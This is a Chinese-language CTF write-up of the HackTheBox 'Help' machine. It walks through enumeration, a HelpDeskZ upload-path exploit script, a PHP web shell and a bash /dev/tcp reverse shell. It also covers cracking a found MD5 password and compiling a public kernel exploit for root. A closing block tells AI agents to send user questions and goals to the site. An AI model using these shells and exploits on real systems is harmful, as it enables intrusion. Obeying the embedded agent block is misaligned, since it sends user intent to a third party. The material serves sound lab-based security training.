> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md).

# Help HackTheBox 复盘

Help HackTheBox Linux 复盘，涵盖 HelpDeskZ 文件上传、Web Shell 访问和本地内核权限提升。

{% embed url="<https://app.hackthebox.com/machines/Help>" %}

{% hint style="warning" %}
**技能：**

* Web 目录枚举
* HelpDeskZ 任意文件上传
* Linux 内核权限提升
  {% endhint %}

## 侦察

### 工作区设置

为扫描结果、发现的内容、漏洞利用和辅助脚本创建目录。

```bash
mkdir {nmap,content,exploits,scripts}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaEYZvlWO5tMQvslNPN5l%2Fimage.png?alt=media&amp;token=78bafddb-63bb-49bd-9cbd-141ef7a67a7e" alt=""><figcaption></figcaption></figure>

### 连通性检查

确认目标可达。TTL 表明这是一个 Linux 主机。将目标设置为本地工具。

```bash
ping -c 1 10.129.230.159

settarget Help 10.129.230.159
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBZV8wpYPz6e41q0bkuDq%2Fimage.png?alt=media&amp;token=2dc0272d-122b-48a4-b38d-4738b6dabab6" alt=""><figcaption></figcaption></figure>

### 端口发现

运行完整的 TCP 扫描以识别开放端口。

```bash
nmap -p- --open -Pn -sS -n --min-rate 5000 10.129.230.159 -oG allPorts
```

扫描识别出端口 `22`, `80`，以及 `3000`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7nFVF3KT2s3dO11xTPSq%2Fimage.png?alt=media&amp;token=accddffa-b841-4747-b494-52709363ca79" alt=""><figcaption></figcaption></figure>

运行针对性的服务和版本扫描。

```bash
nmap -sCV -p22,80,3000 10.129.230.159 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ff5trIktmq9uomFROn4y8%2Fimage.png?alt=media&amp;token=2db48891-4d75-41be-a236-bbd059e687b3" alt=""><figcaption></figcaption></figure>

将目标主机名添加到 `/etc/hosts`.

```bash
nano /etc/hosts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FObFfltTof0lS3wFqL5yY%2Fimage.png?alt=media&amp;token=c9fbcc09-a532-4163-8bf3-151f7a592c3a" alt=""><figcaption></figcaption></figure>

### Web 枚举

端口 `80` 显示默认的 Apache 页面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMAL6AfwhQIKKhkqSI0JX%2Fimage.png?alt=media&amp;token=fd2a867a-52bf-4264-a6e0-839135a81dc0" alt=""><figcaption></figcaption></figure>

使用 Gobuster 发现 Web 目录。

{% code overflow="wrap" %}

```bash
gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

{% endcode %}

扫描发现了 `/support` 应用程序。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FORknBdnCnVu7FzCSZEsQ%2Fimage.png?alt=media&amp;token=8a1bff5b-3c06-4602-8747-bea3b836dbaf" alt=""><figcaption></figcaption></figure>

该应用程序使用 HelpDeskZ 帮助台平台。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo6PfyCdm5IyZgRhVaBGz%2Fimage.png?alt=media&amp;token=972085ec-73dd-42cc-a95a-413150a9a472" alt=""><figcaption></figcaption></figure>

## 初始访问

搜索公开的 HelpDeskZ 漏洞利用。一个任意文件上传漏洞无需身份验证即可利用。

{% code overflow="wrap" %}

```bash
searchsploit helpdeskz
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlZgPL86fiUGToiVBQg55%2Fimage.png?alt=media&amp;token=2af1bd41-065d-47d6-8b28-31e9c991b454" alt=""><figcaption></figcaption></figure>

该利用程序根据文件名和上传时间戳计算上传路径。

{% code overflow="wrap" %}

```python
import sys
import requests
import hashlib
from time import time


def md5(data):
    return hashlib.md5(data).hexdigest()


def get(base, filename, at):
    uploaded_file = "{}/uploads/tickets/{}.{}".format(
        base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
    )

    r = requests.get(uploaded_file)
    if r.status_code == 200:
        return uploaded_file


def main(argv):
    if len(sys.argv) < 3:
        print("用法：{} HELPDESKZ_URL FILENAME".format(argv[0]))
        return
    for i in range(1000):
        url = get(argv[1], argv[2], int(time() - i))
        if url is not None:
            print(url)
            return
    print("哎呀……未找到")


if __name__ == "__main__":
    main(sys.argv)
```

{% endcode %}

针对 HelpDeskZ 实例运行该利用程序。

{% code overflow="wrap" %}

```bash
python2 exploit.py http://help.htb/support/ cmd.php 
```

{% endcode %}

上传一个最小化的 PHP Web Shell 作为 `cmd.php`.

{% code overflow="wrap" %}

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ5JxGt1CqaUtrjF10xwc%2Fimage.png?alt=media&amp;token=bed6809b-44f7-4d3e-83cf-54f7309dd8f7" alt=""><figcaption></figcaption></figure>

该利用程序返回已上传文件的路径。

* [已上传的 Web Shell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)

确认远程命令执行。

{% code overflow="wrap" %}

```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUIHFCDozkPZZtnYI1aY2%2Fimage.png?alt=media&amp;token=8fea7b95-74bd-4dd7-91d8-e33580e49e9c" alt=""><figcaption></figcaption></figure>

读取用户 flag。

{% code overflow="wrap" %}

```bash
?cmd=cat /home/help/user.txt
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frv1bFn0Mvb1n9uiNZtxx%2Fimage.png?alt=media&amp;token=38591be5-e8bd-43f4-aaff-6a1716a3ba01" alt=""><figcaption></figcaption></figure>

启动一个用于反向 Shell 的监听器。

{% code overflow="wrap" %}

```bash
nc -nvlp 443
```

{% endcode %}

通过 Web Shell 执行以下命令。

{% code overflow="wrap" %}

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FteERGhti3QwsbE8iv7st%2Fimage.png?alt=media&amp;token=85124eec-4a00-458f-a744-5bd4aa051825" alt=""><figcaption></figcaption></figure>

### Shell 稳定化

将 Shell 升级为完全交互式 TTY。

{% code overflow="wrap" %}

```
script /dev/null -c bash
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### 权限提升

该 `帮助` home 目录包含在端口上暴露的 Node.js 应用程序 `3000`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMJElgWA6hQ82tH4IawHL%2Fimage.png?alt=media&amp;token=b44898d5-f61b-4d15-8aa0-b9d91710b345" alt=""><figcaption></figcaption></figure>

在应用程序文件中搜索存储的密码。

{% code overflow="wrap" %}

```bash
grep -RIn --exclude-dir=node_modules "password" .
```

{% endcode %}

搜索在多个文件中发现了凭据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FliLjwytTCxfBaTBvoZV9%2Fimage.png?alt=media&amp;token=5795d345-b22f-4f2c-865f-b1bcacc82b5d" alt=""><figcaption></figcaption></figure>

* <helpme@helpme.com>
* 5d3c93182bb20f07b994a7f617e99cff

使用 CrackStation 破解该 MD5 哈希。

{% embed url="<https://crackstation.net/>" %}

该密码很弱：

* godhelpmeplz

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJZ6eW6RsbxsOri7mPaqR%2Fimage.png?alt=media&amp;token=eda6d2a3-7ea8-43c6-9cb9-e784975e13e3" alt=""><figcaption></figcaption></figure>

识别已安装的操作系统版本。

{% code overflow="wrap" %}

```bash
cat /etc/os-release
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7gWpThrAlZsNDva0DF9v%2Fimage.png?alt=media&amp;token=aedeb459-ce9d-4012-9ece-01fd2e0fccd8" alt=""><figcaption></figcaption></figure>

该主机运行 Ubuntu `16.04` 内核版本为 `4.4.0-116`。此版本与一个公开的本地提权漏洞利用相匹配。

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

下载原始漏洞利用源码。

{% embed url="<https://www.exploit-db.com/raw/44298>" %}

将该漏洞利用程序托管在攻击机上。

{% code overflow="wrap" %}

```bash
wget https://www.exploit-db.com/raw/44298

python3 -m http.server 8081
```

{% endcode %}

从目标主机下载它。

{% code overflow="wrap" %}

```bash
wget http://10.10.15.2:8081/44298
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

编译并执行该漏洞利用程序。

{% code overflow="wrap" %}

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c

./exploit
```

{% endcode %}

该漏洞利用程序返回一个 shell，用户为 `root`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWv3O140AFz19RhTy5khR%2Fimage.png?alt=media&amp;token=3481b27c-86a9-495a-bbe7-9747f664bc92" alt=""><figcaption></figcaption></figure>

### root.txt 标志

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frdtor4Y6gXIS6RsvptX7%2Fimage.png?alt=media&amp;token=609c8968-5e9e-4c77-b766-0e477362c44a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
